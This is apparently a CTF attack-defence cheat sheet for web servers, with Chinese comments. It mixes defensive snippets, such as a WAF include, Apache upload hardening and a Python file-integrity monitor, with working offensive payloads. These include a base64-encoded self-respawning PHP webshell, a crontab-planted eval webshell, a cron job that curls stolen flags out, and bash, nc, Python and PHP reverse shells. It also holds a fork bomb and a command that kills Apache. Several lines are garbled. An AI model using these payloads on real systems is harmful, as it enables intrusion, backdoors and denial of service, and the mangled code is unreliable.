tar -zvxf /tmp/www.tar.gz /var/www/html/

scp -P ssh_port user@host_ip:/tmp/bak.sql local_filebash

//备份mysqldump -u user -p passwd database > 1.sql//还原mysql -u user -p passwd database < 1.sql

nmap 10.16.10.19 -p1-65535

nmap –sS 10.16.10.0/24

find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo()|(base64_decoolcode|shell_exec|passthru|file_put_contents(.*$|base64_decode('

header(php'flag:'.file_get_contents('/tmp/flag'));

file_put_contents('.1ndex.php',base64_decode('PD9waHAgIAogICAgc2V0X3RpbWVfbGltaXQoMCk7ICAKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOyAgCiAgICB1bmxpbmsoX19GSUxFX18pOyAgCiAgICB3aGlsZSgxKXsgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCcubG5kZXgucGhwJywnPD9waHAgaWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iN2I3ZmRmZmVmNDY0MDE5ZjcxOTBkMDM4NGQ1YjM4MzgiKXtAZXZhbCgkX1BPU1RbImNtZCJdKTt9ID8+Jyk7ICAKICAgICAgICBzbGVlcCgxKTsgIAogICAgfQo/Pg==+Jyk7ICAKICAgICAgICBzbGVlcCgwKTsgIAogICAgfQo/Pg=='));?pass=me7eorite&cmd=system('cat /flag')

system('echo "* * * * * echo "<?php if(md5(\\\\$_POST[pass])=='7b7fdffef464019f7190d0384d5b3838'){@eval(\\\\$_POST[1]);} " > /var/www/html/.index.phpn* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');

bash# 编辑 crontab：crontab -e*/5 * * * * curl 10.10.10.5:8000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'# 查询 crontab：crontab -l

bash -c bash'bash -i >& /dev/tcp/[ip]/[port] 0>&1'
nc -e /bin/bash 1.3.3.7 4444 bash

python -c bash'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_REAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php -r bash'$sock=fsockopen("your_ip","4444");exec("/bin/sh -i <&3 >&3 2>&3");'

kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'

:(){:|:&};:

php.iniauto_prepend_file=waf.php;bashsudo find /var/www/html/ -bashtype f -path "*.php" | xargs sed -i "s/<?php /<?phpnrequire_once('/tmp/waf.php');n/g"

<Directory "/var/www/html/upload">Options -ExecCGI -IndexesAllowOverride NoneRemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtmlRemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtmlphp_flag engine off<FilesMatch ".+.ph(p[3457]?|t|tml)$">deny from all</FilesMatch></Directory>

http.request.method ==”GET” && http contains “Host: “ http.request.method == “GET” && http contains “User-Agent: “ http.request.method ==”POST” && http contains “Host: “ http.request.method == “POST” && http contains “User-Agent: “ http contains “HTTP/1.1 200 OK” && http contains “Content-Type: “ http contains “HTTP/1.0 200 OK” && http contains “Content-Type: “

python# -*- coding: utf-8 -*-#use: python file_check.py ./import osimport hashlibimport shutilimport ntpathimport timeCWD = os.getcwd()FILE_MD5_DICT = {} # 文件MD5字典ORIGIN_FILE_LIST = []# 特殊文件路径字符串Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'Special_string = 'drops_log' # 免死金牌UNICODE_ENCODING = "utf-8"INVALID_UNICODE_CHAR_FORMAT = r"?%02x"# 文件路径字典spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))Special_path = {  'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),  'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),  'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),  'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),}
def isListLike(value):  return isinstance(value, (list, tuple, set))# 获取Unicode编码def getUnicode(value, encoding=None, noneToNull=False):  if noneToNull and value is None:      return NULL  if isListLike(value):      value = list(getUnicode(_, encoding, noneToNull) for _ in value)      return value  if isinstance(value, unicode):      return value  elif isinstance(value, basestring):      while True:          try:              return unicode(value, encoding or UNICODE_ENCODING)          except UnicodeDecodeError, ex:              try:                  return unicode(value, UNICODE_ENCODING)              except:                  value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]  else:      try:          return unicode(value)      except UnicodeDecodeError:          return unicode(str(value), errors="ignore")# 目录创建def mkdir_p(path):  import errno  try:      os.makedirs(path)  except OSError as exc:      if exc.errno == errno.EEXIST and os.path.isdir(path):          passcur      else: raise# 获取当前所有文件路径def getfilelist(cwd):  filelist = []  for root,subdirs, files in os.walk(cwd):      for filepath in files:cur          originalfile = os.path.join(root, filepath)          if Special_path_str not in originalfile:              filelist.append(originalfile)  return filelist# 计算机文件MD5值def calcMD5(filepath):  try:      with open(filepath,'rb') as f:          md5obj = hashlib.md5()          md5obj.update(f.read())          hash = md5obj.hexdigest()          return hash  except Exception, e:      print u'[!] getmd5_error : ' + getUnicode(filepath)      print getUnicode(e)      try:          ORIGIN_FILE_LIST.remove(filepath)          FILE_MD5_DICT.pop(filepath, None)      except KeyError, e:          pass# 获取所有文件MD5def getfilemd5dict(filelist = []):  filemd5dict = {}  for ori_file in filelist:      if Special_path_str not in ori_file:          md5 = calcMD5(os.path.realpath(ori_file))          if md5:              filemd5dict[ori_file] = md5  return filemd5dict# 备份所有文件def backup_file(filelist=[]):  # if len(os.listdir(Special_path['bak'])) == 0:  for filepath in filelist:      if Special_path_str not in filepath:          shutil.copy2(filepath, Special_path['bak'])if __name__ == '__main__':  print u'---------start------------'  for value in Special_path:      mkdir_p(Special_path[value])  # 获取所有文件路径，并获取所有文件的MD5，同时备份所有文件  ORIGIN_FILE_LIST = getfilelist(CWD)  FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)  backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG  print u'[*] pre work end!'  while True:      file_list = getfilelist(CWD)      # 移除新上传文件      diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))      if len(diff_file_list) != 0:          # import pdb;pdb.set_trace()          for filepath in diff_file_list:              try:                  f = open(filepath, 'r').read()              except Exception, e:                  break              if Special_string not in f:                  try:                      print u'[*] webshell find : ' + getUnicode(filepath)                      shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))                  except Exception as e:                      print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)                  try:                      f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')                      f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + 'n')                      f.close()                  except Exception as e:                      print u'[-] log error : file move error: ' + getUnicode(e)      # 防止任意文件被修改,还原被修改文件      md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)      for filekey in md5_dict:          if md5_dict[filekey] != FILE_MD5_DICT[filekey]:              try:                  f = open(filekey, 'r').read()              except Exception, e:                  break              if Special_string not in f:                  try:                      print u'[*] file had be change : ' + getUnicode(filekey)                      shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))                      shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)                  except Exception as e:                      print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)                  try:                      f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')                      f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + 'n')                      f.close()                  except Exception as e:                      print u'[-] log error : done_diff: ' + getUnicode(filekey)                      pass      time.sleep(2)      # print '[*] ' + getUnicode(time.ctime())